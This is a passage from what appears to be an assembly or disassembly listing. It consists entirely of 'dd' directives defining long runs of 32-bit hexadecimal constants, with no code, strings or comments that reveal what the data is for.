0A1E05624h, 0D5F1C4E1h, 417146CDh, 0A2DC8C9Ah, 92C77EDCh dd 755CC04Dh, 0E3795ADCh, 6C92F5Fh, 8986D53h, 0B72ACA84h dd 0FCF6A9BEh, 0C894D978h, 5C6D448Dh, 81454690h, 402FBBDDh dd 0CF046150h, 0B6685287h, 0D05010F5h, 97DF39A3h, 89DA06A7h dd 8C80E723h, 0D773E0C0h, 8DE26940h, 603F0B3h, 81DEE7Bh dd 4288FB3Fh, 8CA8392Ch, 0C34DD1D5h, 7472FC0Ah, 4451C2F9h dd 745210F0h, 9BFC5C00h, 0E2232879h, 0C91C80A7h, 6266B26Eh dd 0E51E4DFFh, 0BD1B3A9Dh, 9A73D36Fh, 58711A9Dh, 87CD947Eh dd 2C997BB8h, 564C2E06h, 0AAC7EC9Dh, 17E77432h, 0BE7536BEh dd 81740FBBh, 974CE82Fh, 661AA111h, 70B9C59Fh, 1532FB5Bh dd 859BAB8Dh, 0CFE4B1F7h, 40C20917h, 0FFE6C2FFh, 89BED8D9h dd 92C760Dh, 7EE471E4h, 0A035E7B7h, 0D19CF6DDh, 0CBFA8DFAh dd 0AD7B3949h, 5C782482h, 4080BB50h, 0EDA9C7A9h, 9C1FA964h dd 3E19361Ch, 5EC801F6h, 0E903D084h, 0B4CE9200h, 0BADD2FB9h dd 143DB1DCh, 0BBFC3F06h, 2C466AEEh, 0F2F088F4h, 0E4E296ADh dd 329DF63Ah, 2E2373E7h, 81662710h, 4B65209Ah, 7359CD51h dd 910C33F2h, 0B04E0074h, 87C63163h, 537882C7h, 3E36DACCh dd 961F560h, 0FB71C0FFh, 7830B8Bh, 0F70AF9DCh, 363FFCF1h dd 27733E21h, 5FCFF4ECh, 924CF7Eh, 0E9A1439Dh, 7D9E80E2h dd 8EF4FDDAh, 9CB9922h, 7B79CAACh, 3A11E69Fh, 5B0FDB94h dd 5A7CDA68h, 1D01E924h, 0D3ED187Dh, 488F95DCh, 2FFD15A0h dd 0B1472F6Fh, 0F1AAC492h, 0B0585542h, 0F108CEB3h, 0AEC5F482h dd 6B243F50h, 412BE965h, 38BC8A26h, 6759B295h, 0CD12E8B9h dd 7607D2C7h, 44C66712h, 0B9109941h, 91BE80FFh, 37D63400h dd 18E9C926h, 0A9FA16A2h, 0EFC3A49Bh, 5F663117h, 88470AA6h dd 45E063Ah, 0EAA1C12Fh, 452A47E1h, 0E61022E1h, 58E5FAD5h dd 0B0811A3h, 0F2CC6DA2h, 926AF1Bh, 0A415F4A5h, 0E18FADCh dd 0C075C5C0h, 20AA50EEh, 0BB343F3Ch, 4B758FDEh, 0DB9FE9C9h dd 5DC647F5h, 0D0C48A8Ch, 0A720ABA2h, 86062BAEh, 98335A02h dd 28B97873h, 0FE0BBED5h, 4165EBD6h, 0DB9174ACh, 0BED4A2DCh dd 180565F2h, 1E7632C0h, 8B9953Dh, 0C260131Eh, 8E3DD52Ch dd 0B4203135h, 75D3F47Ch, 8424B2B4h, 9AB1656h, 693EE4E2h dd 90DAA57Ah, 941CC045h, 24196E15h, 55985BF1h, 628B1DEEh dd 0B7861053h, 6ED0F680h, 0CCED7DBDh, 0B79478Ah, 0C19D3A5Ah dd 566DE183h, 32A4731Ah, 0FFD5C171h, 0A9FAEC84h, 0E6A5B8BCh dd 903F26E8h, 849B68B1h, 386B5A05h, 0ED28B5F2h, 7623FE75h dd 92C4D41Fh, 97268DFCh, 9C5C916h, 8D24B41Ch, 0C0DA78A1h dd 0D675C360h, 0D98FB309h, 1591085h, 8CFEB9C8h, 248DF86Bh dd 0FA0002D0h, 38FF9A4Dh, 0EE0B8F50h, 94A1859Ch, 0A118C937h dd 0A8EA1E99h, 0D50E095Eh, 7C32324Ch, 612D5ECFh, 0C1A7EE83h dd 0E2D7BF85h, 1946634h, 9362FE15h, 0F42C60Eh, 0AD8EA564h dd 71AE5497h, 5CBB3351h, 8C5CFCC1h, 8EF1C5F3h, 884D2D0Eh dd 0E7DD0EAFh, 31B377A1h, 86F7094h, 0A46046D4h, 207F2AB4h dd 0E20613B3h, 1EC89D62h, 0C97F64AEh, 27F1F5E1h, 60C02E15h dd 108810ACh, 4F392660h, 0DD5717A7h, 0D714F5B3h, 5343BF35h dd 136DC0Bh, 20BE1E71h, 0BDE52E9Eh, 0B9B4C1B3h, 0C5CBA4E8h dd 0C74E1960h, 72D7D7A6h, 3D60BBBCh, 0B3D5CE3Dh, 0A5722F3Bh dd 42A440BFh, 972E5B4Dh, 940E2E5Fh, 3365A3B9h, 0D34148EBh dd 0C75F748Dh, 0EAB4CD79h, 0F44BBA10h, 3816DD50h, 80CCCC6Ah dd 852435ABh, 7EB28CD4h, 0DB6DDDB7h, 0EACF3B94h, 0EC216B09h dd 933A15AFh, 0DA079D14h, 76706E70h, 815965CBh, 2A802CD5h dd 0A5CE0C8Ah, 0E9B55585h, 2A7A1608h, 0E663B133h, 11A3ED0Eh dd 5C85A6A1h, 0F5B02444h, 0B4E2172Ch, 0CBA1611Eh, 249F8D56h dd 844A60Ch, 0B19C5915h, 0C1BAA159h, 5E95EDFDh, 0E4172088h dd 0F5547Bh, 0F0070E94h, 6D119286h, 0CD4AE6E5h, 0D754A00Ah dd 94CEEA81h, 0DF33DF8Ch, 0A695806h, 0E9A672E3h, 518E6C2Bh dd 1E8DD4A8h, 491F7BE4h, 8A1B0C0Bh, 71DC5405h, 5C2DEF97h dd 0EED6C99Bh, 7169D87Bh, 8F8E416h, 1B4371B8h, 0FFB2AC0Eh dd 0BB1ED003h, 0AAE9CBBEh, 94A4DDB2h, 0B4D391E6h, 0E87CE4B8h dd 0CB811B45h, 0E2663B0Ah, 0BF8F0A5Ah, 0B0E32C93h, 961A1DB3h dd 6AAAE1EBh, 5073D7BFh, 976EF63Bh, 9400ED5Bh, 0D41FCE9h dd 47007095h, 27B8A3F8h, 0ED41F8F5h, 4C1850B6h, 2C2E4B5h dd 7EB5BB77h, 9CFE256Ah, 0A0044D57h, 0D6B01168h, 0D8DBE454h dd 44161CFDh, 300C063h, 876C18C4h, 69642C14h, 4221D236h dd 0DE1AA05Dh, 0EE98351Ah, 0A6273E92h, 0B28F94F9h, 0D6E6ECD7h dd 0D7B4D9ACh, 0DA5BC2h, 219DC956h, 0F4E08386h, 9BA48D9Ch dd 0F8BE211Eh, 930881FAh, 5D85F9F6h, 7D35448Ah, 5E2B4F4Eh dd 8F779F4Eh, 0DD258370h, 27467923h, 0BDEC3939h, 0D7B0F6C1h dd 0DD6CE28Ch, 8348B8DEh, 1AACE853h, 0F27C8E09h, 4F124F2Bh dd 0EE4EB887h, 0A7E7CC9Dh, 30512FC5h, 302C1254h, 0E3DE2164h dd 0C6465C20h, 0E6F21293h, 2DCF62ABh, 36AE77CEh, 2C177E73h dd 9620D640h, 0FA3CE588h, 328E3FE6h, 238954FCh, 0D7AE83Dh dd 9E825B4Eh, 62E538Ah, 6A87563Ah, 1E84ACCAh, 0C5A6E66Ah dd 31ACE7A1h, 69EAFBC5h, 959ACE6Bh, 3B658022h, 82742C97h dd 287A813Eh, 0D198259Ah, 77B947B5h, 5D289BFCh, 0F34CB9Ah dd 2D2817EDh, 0AA37F02Eh, 62D5F233h, 0C82C93B4h, 1D22F33Eh dd 4DBF2C98h, 0FB417D73h, 5DB5DF50h, 0B3B1ADA8h, 30E819FCh dd 5CB2841Dh, 107E5C2Ah, 0EAB38687h, 0EA0AC50Ah, 14B2FBACh dd 0B3E72A2Eh, 0A690808h, 0CCAC6DC6h, 9380C2D1h, 0E29CA51Eh dd 3E00AB63h, 221D80CEh, 0F151B09Bh, 0DC644DABh, 0FF939EACh dd 0BC6F78Ch, 3A449EB3h, 8CADD61Ah, 0EF898025h, 0B46863FBh dd 775B825Fh, 0A2048057h, 8D036CC7h, 485EBF35h, 83D04AECh dd 17DE2F17h, 1CA8D82Ah, 0C47E562Ah, 0E78A98FAh, 0BBB0161Eh dd 520168C9h, 7D4BA433h, 11A4322Eh, 4F927Bh, 9807E3E0h dd 32CF8989h, 405AADECh, 6277816Dh, 0DC3E2ADh, 0DEC2DA8Eh dd 74F2E477h, 1CE617BDh, 0E0522E1Ah, 774EB6E3h, 97B4FB55h dd 0ECA605EAh, 923826AFh, 0EE8BBB50h, 6D8F2656h, 43E8C22Ah dd 99FE8662h, 638337B9h, 6F24011Dh, 8B0D8561h, 0D357C892h dd 0D3D76C54h, 23CDE5ACh, 0E8BC9F9Ch, 5123F766h, 0DDC8EA01h dd 9CFFD2B6h, 19D3107Bh, 484612A4h, 4BCDA928h, 16F3A02Ch dd 5A96605Dh, 5DA37AA8h, 68E6602h, 0DDCAF590h, 0BDBC9AE6h dd 6EF2DA09h, 0FC6E9906h, 0EBE50E63h, 91665570h, 0E71866AAh dd 31D28AD4h, 71A64899h, 0BAA54BA0h, 0CBB90CDh, 64363326h dd 92C40074h, 0DBADE647h, 392EF1FDh, 0AB981D72h, 0F1E05B43h dd 4F29BB25h, 79D27332h, 245E6EC1h, 0ACC4C578h, 1A4FD47Dh dd 1DA0060Ch, 46A6CC23h, 0A40DD787h, 19FF21D8h, 4C6386A3h dd 5B243AAFh, 0FDAECF49h, 0A16BA3DAh, 0F812C756h, 204B7DA1h dd 0EBE6AAEAh, 53946B14h, 0D626B3D4h, 46607D65h, 0CB960041h dd 5499D77Eh, 78A74B5Ch, 0BE333962h, 51763F11h, 0E00052BCh dd 0E97D6559h, 246B9595h, 65FCAFDEh, 77C597C6h, 6D4F30F7h dd 0CEB030DDh, 12D7D0E6h, 0C1B31381h, 0C1AFADFDh, 94B41EE8h dd 7F6A89D7h, 0CFF0D986h dd 0CDEA3B11h, 9D3F848Ch, 0B86D6308h, 0BC6FD675h, 2296AFC2h dd 345E9613h, 60FBC591h, 1692FC70h, 0EDA176A4h, 6BF1DEF5h dd 0D57577B5h, 52D9502Ah, 5ADE570Ah, 8E5B2979h, 90E9026Eh dd 87CA554Eh, 38EB9B69h, 7B6D0820h, 394A030h, 413A901Ch dd 0ECCEF5D7h, 5B2E3F06h, 0F92D5FD8h, 6A67958Eh, 4F85FE3Bh dd 5378C77Bh, 77065DFFh, 8A7F2573h, 368511F2h, 7B3F2CEBh dd 0D7A0796Bh, 55D90305h, 0C0461F2Eh, 5900A1A5h, 0A371DF86h dd 17399641h, 696E1B7Ch, 2FEF4823h, 0E01B293Eh, 0A92327D2h dd 7238B80Bh, 74D4A2F8h, 0E4DD5EF1h, 0D59DCD11h, 0DAFF29DBh dd 43A7A08h, 19CC639Ah, 71529660h, 0AE2D74D8h, 4B4B7395h dd 99FA3333h, 0A50D2068h, 9B425DA0h, 681DF7Bh, 43344FA7h dd 58FF6B30h, 10BA52CEh, 0F64632CCh, 932BDEBEh, 2A2D03C3h dd 11FE3CCEh, 0F660E15Eh, 0B274EEE6h, 309D1DAEh, 5B023649h dd 48BB3DFAh, 81E37B1Dh, 302EDA75h, 64F629C8h, 96EA2C11h dd 0C09560A6h, 3683FF4Eh, 4683618Ah, 0FF93504Dh, 0FF7BB04Dh dd 0D7AEBC1h, 0A56576EAh, 4D452547h, 10055D1Ch, 78B84551h dd 0E369BA9Eh, 0E1504BA5h, 0F4189251h, 0D5C48523h, 6AA3DE69h dd 492EE02Dh, 0A6D2DB7Ch, 6C10A032h, 0C9EBF2FCh, 5016850Fh dd 7D6565E3h, 0C97F3E8Ah, 0DE6ECCCFh, 0B201D3F9h, 2FBAB217h dd 0D997950Dh, 864E3F24h, 9BDDAE7Eh, 24F32741h, 7A7A2FFDh dd 0F71B2D54h, 4B3BE0DCh, 12CCE9B5h, 6A3BD01h, 9D4287EBh dd 2C8F5FEh, 30D65E05h, 462D97E2h, 0F0D3883Fh, 81CB1DF7h dd 746F71h, 20A49C24h, 47FBC03Dh, 0F44F45DFh, 9097C319h dd 9266D468h, 0D97D2B75h, 568CB521h, 4AF8B72Ah, 1B3FC085h dd 0ED1F42ACh, 724736C1h, 1037AD94h, 0C1749ACBh, 8FA9DAA5h dd 0D3D25B5h, 0FF560EFh, 0B5EF114Fh, 36E101E2h, 14D267FAh dd 9B4F65F6h, 5D615EA4h, 68D62859h, 90B0FF93h, 0C39D7726h dd 371FF70Eh, 464165AAh, 0FFB3527Dh, 0FF0A3335h, 0D72AC45h dd 0A57A56A8h, 4D473564h, 140F8D47h, 4C0283Dh, 4630F40Dh dd 5C88F94Fh, 0A7411633h, 0EE92A195h, 38D9D89Bh, 3111987Fh dd 6AA89000h, 30FC7549h, 9435FDEAh, 7926CDA9h, 754E16E6h dd 88BDE17h, 0AC3E22Ah, 3A61A626h, 3D39946h, 23B9928Dh dd 0BBB5A0D2h, 10D54450h, 2E8DD0BEh, 9942FF33h, 5BD3DD43h dd 0BDB025CBh, 0EB85D2C5h, 0D21BFF33h, 0C5FE21F4h, 88180431h dd 0AB1CF74h, 7D59D361h, 795912A5h, 7876D4B9h, 83EFE49Eh dd 155C5D1Eh, 98AB7D5Fh, 4E44BC45h, 0F5E9529Bh, 1CD733D7h dd 0E7F5AC2Dh, 96B5BE0h, 0FC7CB90Bh, 4D055277h, 0E003D15Eh dd 0FE074C94h, 5BC35D81h, 0B22526F7h, 0AB9160FDh, 94C8E548h dd 75EE4C9h, 94926644h, 0DFE19B94h, 31141DFAh, 0CD4E1E7Ch dd 3ECE3DCBh, 0D64152D3h, 0E36C9FE8h, 0C167FD20h, 333395BCh dd 0EEB46500h, 57ECFE7Ah, 1C5B8FCDh, 788A53B7h, 0AC02208Fh dd 0A68EC2F5h, 3C69AA2Dh, 0BBC0A521h, 661D696Ch, 0B93994Dh dd 7570E6ACh, 62D5FE72h, 0FED9DF28h, 8F16736Fh, 79C06C84h dd 50ABDD62h, 7A94EBC6h, 27EAF1BEh, 82EA6684h, 4BF92116h dd 50A133C0h, 0ACAB8A04h, 9FA65A8Ch, 0C8B841ADh, 331C478Fh dd 58032CBh, 0FE659EE9h, 0E1FB0ADBh, 0C136C99h, 0F876A133h dd 0F49416Ah, 0A81805B8h, 9033A70Dh, 0BC47EE71h, 0E9654FF6h dd 7C02A8Ch, 0E30FB96Ch, 78362FFFh, 0B8240364h, 5756B840h dd 8CBB733Ah, 0E80C4467h, 317AB643h, 1039C3F9h, 0E8A70FBh dd 536BB785h, 0FFCB906h, 824061CEh, 0ECA884A3h, 0EF02289h dd 150DA56Dh, 1E2D8D7Dh, 96BDF7Ch, 84F72218h, 9215962Eh dd 0FBB936C2h, 0DA139D19h, 0C1E6E205h, 0DC316AF9h, 0BCF1A2D7h dd 24D5EB63h, 0E99C0D05h, 3CAD0441h, 0D8C7E479h, 46E6F28Fh dd 0A8A101D7h, 0AB736BBAh, 99772C89h, 2F477390h, 51B8D5EBh dd 90115CDBh, 74CC84A7h, 0F9E1D37Fh, 0C4604F69h, 9CCEEEC3h dd 269C011Dh, 0DCD9D161h, 6C2127A5h, 8C2D976Ch, 0D642AE4h dd 13856B83h, 222B1E42h, 2F629AFEh, 87D87F47h, 43DB8C28h dd 8344D30Bh, 37400C65h, 2FCD1F7Ah, 44436165h, 193DB12Eh dd 8EBA450Dh, 9C6B22BEh, 0E1247EC9h, 0C1D151FBh, 505E34FEh dd 0A7E70CFAh, 5BF73474h, 671AF7DDh, 2E3F4591h, 92A659C9h dd 85DCA6FAh, 78DB2F7Fh, 8FDB1B2Dh, 0CB26ED9Fh, 0F34361B4h dd 2BB487Fh, 0FC3DB239h, 218E3CA1h, 416A837Dh, 0E37C5865h dd 0DC43C39Eh, 600830F3h, 1D2AA926h, 7A901EE0h, 0C5A5D74Dh dd 826865D1h, 60F44882h, 0A101F148h, 7901D1Bh, 0FF4FBA28h dd 9D58B609h, 0A21FFDFAh, 89A15809h, 0ACB0559Ah, 9386A7FFh dd 91488710h, 9917F041h, 0A0D3154Dh, 0B9E09F77h, 54F8298Dh dd 10F213E2h, 989C1300h, 0B29616D5h, 599D68BEh, 400D60ACh dd 3860A8C5h, 0EE89DD7Eh, 0AB90725Ch, 7EE4AE46h, 22FD9632h dd 26CE79E6h, 3C2EE4A3h, 77427C1Eh, 0F9BD4B5h, 0CC56EB9Dh dd 61D00E43h, 0E3C5CAFAh, 273422BEh, 6F6D7440h, 0D2B82CFBh dd 0FAB5A60h, 2CFBA6C6h, 0CADACC2h, 9234EED1h, 0F37CCC7Ah dd 0EE2BC0FBh, 0F37C78F9h, 42CE8B16h, 5D99DCAAh, 936C5605h dd 0E38DAC98h, 1DCF73BEh, 3BCF5955h, 0BFE9652h, 7569018Dh dd 0CA832EDh, 864DE142h, 0A5DA8DC8h, 38C121BCh, 4BE9CF1Fh dd 0EC5E55F0h, 0E90DCD69h, 0E77D8341h, 0A5835B05h, 0AF69E724h dd 9330A982h, 0B0754634h, 8540358Bh, 0E9481469h, 91468D3Dh dd 7397DF7Ch, 0A40DDD6Dh, 5C7B61A7h, 0AC9FA64Eh, 0C28D2547h dd 58AED158h, 8DEC5BDh, 438FDA9Ch, 6C1D9AFFh, 9B986FEFh dd 2CF51C90h, 0D8BFE981h, 0B9889FF5h, 578729AAh, 0B3C0DA25h dd 4DF4A37Ah, 0A6762317h, 0B1CD66D7h, 6FFE1A7Ch, 0C276517Ch dd 6F093080h, 76F8A9Fh, 66190133h, 0F615E90Ah, 9B8981D6h dd 8288E499h, 8F57CA9Eh, 0C7E22B3h, 0C20754E7h, 0A85BE654h dd 0B2B19AF7h, 0E2C78E12h, 1F6C6088h, 4AC4D391h, 0F88DB0F4h dd 252B32E3h, 74CD24D2h, 1291A222h, 7FD9A0BBh, 43D32AD4h dd 0E41C8AE5h, 424EB929h, 45ADF3B9h, 47F359F6h, 662225DEh dd 7723C219h, 83C6D971h, 462429A9h, 90D33A41h, 97CED8C5h dd 0BAD4F86Dh, 8B537DC2h, 0E47F604Bh, 46385677h, 0F98A4C74h dd 0D69DB929h, 0F072C758h, 14965745h, 2C93462Bh, 937085CBh dd 0C68B93Ah, 925035A6h, 965F9C45h, 65308D74h, 5B0B2083h dd 57F4C50Ch, 13E4E24Fh, 0D71A42BFh, 0B7149EC9h, 71420641h dd 8CA00509h, 46246D25h, 0F95836EBh, 0F5EC6C10h, 297257B5h dd 0C8D794D9h, 0B5381C7Fh, 0A95138F1h, 0F898E8C2h, 0A20A550Fh dd 98C796D7h, 7C6286DAh, 189F0h, 0B920B0DAh, 0C31EE97Fh dd 0A490F1B8h, 0F3F03EACh, 0DF3AEFA2h, 3926954Ah, 96213E09h dd 55D76CA4h, 1C54DF31h, 3E522666h, 808C1E4Dh, 0E60A6707h dd 493CFBE3h, 0A9D8C2Bh, 0CAAF2DF8h, 0DEB07F62h, 0F1CB0AF3h dd 0B24EFADEh, 0F37D54D1h, 66CCB8BAh, 7DFBD8AAh, 0F574A943h dd 6421A523h, 0F779C9A6h, 0A9F78B85h, 438135D4h, 6715F945h dd 71169496h, 0A75AF9D5h, 952FB463h, 79F9B19Dh, 2AD46F06h dd 4B536FBAh, 86975E4Bh, 0A7775F77h, 1D46742Ch, 0E9420325h dd 0A0D11C41h, 0BBA7E34Eh, 0BE272268h, 7B16574Bh, 1C20AAC6h dd 0FFF3BBD4h, 60A65C80h, 999DECF6h, 0E7437743h, 4DA44BBBh dd 614AE867h, 0B712E51Bh dd 0AB51BE3Eh, 0D5AAB1E0h, 60765C5Ah, 360E6238h, 50EB3C4Ah dd 9DDFFEECh, 4CFA0D91h, 0DD77FD61h, 0B9399F5Fh, 0A8553DB4h dd 109DC123h, 0D4F65866h, 0A560F723h, 0D4E26936h, 0D588806Eh dd 3F9C1CD9h, 82927683h, 849009ABh, 831798D3h, 0FEC5FF6Fh dd 5FAB6E0Dh, 0F070E740h, 48B87C6Ch, 0ADA755C7h, 0D38AF30Bh dd 0B7F40877h, 76F21659h, 78C6E70Fh, 2FE34CBFh, 0DB155AFAh dd 3C18C977h, 29245A03h, 0CD8EBD4h, 0A16C81ADh, 313AA27Ah dd 967EA94Eh, 0ADEDBF57h, 7BFEB2D3h, 47E4413Ch, 471B5EA6h dd 0F15323CDh, 768684C1h, 631F1F2h, 91525994h, 85DD8EF0h dd 88C8BD73h, 6FA92791h, 1D93568Fh, 0D35BDC3Dh, 5E32AC32h dd 0D88C3894h, 0A8B0426Eh, 0F6621355h, 74AA5A7Ch, 27873DAEh dd 6F451A75h, 1CC0B9C9h, 0FF2FB57Ch, 6950295Eh, 639420A3h dd 9BE3219Dh, 0F40A795Ch, 0C082D8A7h, 73DB6D7Fh, 0F094CB92h dd 0AC7ED205h, 0EE2A047Eh, 15A41189h, 0B81832E7h, 545B0700h dd 8CE3ED92h, 0D178E4F4h, 32E4DAB4h, 0A834A9A7h, 1FF63AD2h dd 0BD12C3EDh, 585915E3h, 0D274E341h, 2DEE3468h, 4F3D28AEh dd 0A610056Ah, 0E380C74Ch, 0E25D4B4Ah, 3259C6A9h, 351F4E66h dd 0EA0175D9h, 0B1AB61F4h, 0FC91AA09h, 8661151Eh, 1868523h dd 0CF0A9AC0h, 0E753D113h, 6C677CBDh, 7ED8D532h, 0A0FCD160h dd 97CCDF78h, 9EC43894h, 4F28D8DDh, 0C1CE1D80h, 7E3EB589h dd 4229847Bh, 5AEEB3D3h, 11C936BAh, 1C2656BFh, 5152D4B8h dd 620C5274h, 659B486h, 223B79DDh, 0D0AA3h, 769A715Ch dd 7AA6FF19h, 0DCE95A8Ah, 8EA379C8h, 805898FCh, 843B0BA0h dd 0B5DF6381h, 7360A746h, 0E4095CA7h, 454648C3h, 19271133h dd 186B6279h, 7AE01E7Eh, 151D0B12h, 6DEF647Dh, 9863AD45h dd 0B87CF4B8h, 6FD61C3h, 426628B9h, 0DC8DFC9Ah, 45CE103Bh dd 0F21C2104h, 0E619EF9h, 61150B27h, 0FBAC0BE7h, 7166AB82h dd 0C3B604F1h, 5DCA0810h, 0FECA3C62h, 8834684Ah, 41B1A3EAh dd 0CBA671D9h, 5B6C351Bh, 188B0CA9h, 41889961h, 7DF34C8Fh dd 0E417C161h, 0B705F6C3h, 0D6D943FEh, 0B02B897Fh, 6F3669F6h dd 0FBAD248Fh, 1EFF914Ch, 0C33A8556h, 0AA643840h, 969142E6h dd 0F1085922h, 494DB87h, 4EDB2C4Fh, 0ACFBE2ECh, 18D95EB8h dd 0A5CCA4F0h, 53114025h, 7C4E1328h, 0FB80D6FFh, 0A5BBF752h dd 57C94479h, 1E3165BEh, 0DB23AEAAh, 0D415AF34h, 0A4C40208h dd 0B1C12081h, 8F052F32h, 910A1AF9h, 852E48C0h, 0B1E6409h dd 8BD72DD3h, 1A6CE8B4h, 0DD285D8Fh, 8A31038Bh, 0B13081D1h dd 7366A766h, 0F27434D0h, 41D7D4CBh, 1B775835h, 590A8380h dd 0FF1C698Eh, 7940C89Eh, 2DEB639Dh, 0B865AF59h, 0C87DF3B0h dd 0CFDE04Fh, 831599B9h, 4EB42DEh, 56026B72h, 0FD4A29Dh dd 0D0DDDF84h, 0A443D656h, 31B083EEh, 1D92FA4Ch, 7B7351BAh dd 0FFF434FAh, 40D14382h, 8DC4FBF7h, 0BE409382h, 0B6FC5D97h dd 0D20C0641h, 5486386Fh, 0B81EECCCh, 0EFCAF4F4h, 0A17C1806h dd 0D2B3C8BFh, 4331D729h, 0DE534665h, 0E6D512F7h, 0FBEB41DEh dd 36DCA36Fh, 60D2057Ah, 0B5B20161h, 0AAEF9738h, 0E8DCD6B3h dd 43F3C340h, 0A4DE1E5Fh, 40BE5B88h, 6435A4F8h, 531A849Fh dd 0C992DA25h, 2532AC83h, 0C6884ECEh, 0B13E0A8h, 2B1EB13Dh dd 0D2FCB0DFh, 3E27AF7Ah, 45052CB8h, 0B58C8E76h, 7F7CED02h dd 59C9D1Eh, 84C13614h, 945624EAh, 0BE5976Eh, 4BF5310Fh dd 11459AC6h, 2B5DCFFDh, 0DB8C99B9h, 0E7C0E9h, 19D0FD0Dh dd 0A3FCACC0h, 7C511B3Fh, 61A00390h, 0E6ECEF99h, 7AF2B306h dd 0E0233C85h, 47F46CA3h, 0E9D22BC8h, 0DFB9B962h, 0FB642D70h dd 0BB9A2C57h, 0E68C3FACh, 86CB3126h, 0E921EA1Ch, 38F0F98Eh dd 58BD1C0Ah, 6BCAAEF3h, 0C2924E1Bh, 0BF0E0804h, 0FF02E9E6h dd 8636B7E1h, 9E5087Ch, 177759E6h, 67CD7B14h, 5BB8D5DDh dd 6750DBA8h, 0F39666B1h, 596D2A79h, 7D3380Dh, 2B0D715Fh dd 0EC3555Eh, 0CA76AE06h, 743FF9E3h, 7D52CAFh, 0CC9BB011h dd 0A08333B6h, 4A86EFAAh, 0FE2A7CEh, 7E983089h, 911D08E6h dd 33A89411h, 0F93B9FC5h, 29C2A65Eh, 9426341Ah, 62FFF118h dd 0C663904Fh, 0F6F72D1h, 4E22B3DFh, 6A2F7AA2h, 4E7C3BFAh dd 62C69C3h, 76A35DADh, 26E6B38Ch, 982BA911h, 983BDA0Ch dd 713F8C79h, 8C43B6FAh, 3ADD9D3h, 6D00C216h, 559FFDC6h dd 0DD1A525h, 298BF062h, 995B606h, 29900DB3h, 93897C62h dd 14F50B3Bh, 5EEB3623h, 82C91AF5h, 0E03B4138h, 5DF340A8h dd 24384415h, 7FB9224Dh, 0F0B8B10Ch, 0EE0F670Fh, 8E986F28h dd 0F1D9A1CAh, 73B2074Ah, 253159CDh, 933B260Fh, 12FA0257h dd 6419A47Ah, 616F7F02h, 0D5FC59B6h, 1AC434AEh, 0A5A2682Ch dd 0FAE1F4EFh, 4E107116h, 0EA0D34CAh, 8AF5AC1h, 523D7EB7h dd 82A22972h, 5CA4FF54h, 0D7AAE5A0h, 2632C30Eh, 0BF090F3Dh dd 0C47A1FBBh, 0F884D18Ch, 47DA398h, 883475Ch, 0EC3A9EAAh dd 96532604h, 7AE24E7h, 0AFB3AA82h, 0F0CB46F7h, 1D36D72Eh dd 79B79F28h, 2A571C89h, 7D4F191Eh, 3A128187h, 2793A816h dd 9753FDD8h, 0D7353825h, 93AFADC2h, 0BA38C88Ch, 31475DADh dd 0E0D28385h, 0BEED6041h, 0ABCF28BDh, 131BE26Dh, 0AA094287h dd 62C29B43h, 0AA1EB865h, 81093219h, 3820CE31h, 0A3E2D710h dd 6197E3E7h, 66C896BBh, 59D411F4h, 4DD60906h, 9701E438h dd 96D0AF21h, 17E3C28Dh, 1BBF0319h, 33380D07h, 4832718Fh dd 34EE2D92h, 3662F88h, 0A5C53C07h, 0CFEBEB21h, 72C6737Fh dd 99A82DDCh, 0C2C17970h, 0EBE809C7h, 4121081Eh, 770CA409h dd 0DCB34918h, 0A8258983h, 7705DCF4h, 0AAD5934Eh, 0F6C29359h dd 0BF16CA6Ah, 0BC5976BDh, 0AA592ACCh, 0C80BC5ADh, 8AF92DE2h dd 4E222B42h, 0E125F456h, 0B3B6FCD2h, 734015F6h, 0FF47C78Ah dd 92DD462Bh, 8AB827Bh, 4903FCE2h, 6717D6A8h, 9644F41Bh dd 92B2B72Ch, 437B0F09h, 941F85C7h, 4BA5C4Dh, 11302B62h dd 43BB151Dh, 6480CC1Dh, 0ADCB016Bh, 901BCB05h, 0D1B5694Fh dd 5EB369EFh, 576EAEC2h, 0D8184B78h, 20379DEDh, 0D85AA3A5h dd 0B2B15071h, 0ADAD5085h, 100CFE69h, 0AB90C881h, 6206DA42h dd 2A3858E5h, 0C17822D8h, 182845D1h, 0F8FE1300h, 696542C4h dd 0FCEA66CDh, 20D1A1F4h, 0A4876D00h, 7E92D79h, 37907A37h dd 0BA0039FEh, 0F50A7B78h, 0C022E716h, 95DB1497h, 5100399Eh dd 58ECEC8Fh, 8645BC0Eh, 0BE2B2AD0h, 0BAE69367h, 0FD983DD8h dd 0F0C94172h, 0E2E475D8h, 1AA5161Fh, 0C6457DBBh, 94B4C703h dd 96E6D921h, 0CD103BF7h, 1D199351h, 787F1058h, 0B07636F2h dd 0A5350F39h, 55A9E365h, 55F062A4h, 3B0B05FDh, 1C972313h dd 0ED514B9Bh, 8D4B7ABFh, 0B14B827Dh, 89AB2F43h, 939D18FFh dd 882A6FF4h, 7493ACA9h, 0BA640620h, 0B64F0F01h, 0E876A0B2h dd 4B87653h, 2742847Fh, 0DD48B1E8h, 8C459E7h, 0C933EAD9h dd 3D3E20E8h, 15AF047Fh, 1137959Eh, 3DCB754Eh, 5A8FACB4h dd 7D2D4460h, 9B772FB9h, 8F3CF9A4h, 0BC02582Eh, 7133798Ah dd 2C9ED1EAh, 1F8AFDDEh, 0BECE0A2Ch, 0C27E1D1Ah, 84213A87h dd 1BE1DAC9h, 306E7522h, 0E6D64CB9h, 13E250C2h, 0ADDDF2C1h dd 5BB56B3Ch, 0E40EF382h, 0BE42C185h, 1661C94Ah, 0C17E6868h dd 3988798Eh, 452809FBh, 982C3220h, 0B1BF3F6Bh, 0A81487B9h dd 2D9A87E1h, 0CAE85F23h dd 9779DAF6h, 0D06CDC4h, 4364034Dh, 6EE05665h, 9D2318F3h dd 49BD70BBh, 549413F9h, 86D61967h, 22835899h, 0DE15FCA2h dd 966E6B0Fh, 0B2DA3C44h, 86AAF79Dh, 0AA15E75Ah, 961B40CDh dd 0EDD27B39h, 96FB92FBh, 470C4F93h, 0D9DDFDB9h, 733E14ACh dd 46A7F46Eh, 78CDC7CAh, 0CAF7BA1Bh, 4093A64Dh, 31007D1Bh dd 24065CAAh, 6309FD2Ch, 8B322A8Bh, 0A964C04Ah, 9C6F5E40h dd 0EF43DC7Ch, 0C4CB8C0Fh, 1C25905Eh, 91B5E9A9h, 171155D1h dd 3A2FA08Ch, 155366AAh, 0BF0322E7h, 8A8627F0h, 0A92469E7h dd 0EF3F3F7h, 0BE8835BAh, 0E69B41F7h, 0CA8C80DBh, 0FAE080FAh dd 8B425CD0h, 411198Eh, 1858A4F6h, 0D376F056h, 90E62F6Ch dd 0D3613ED5h, 0A915891h, 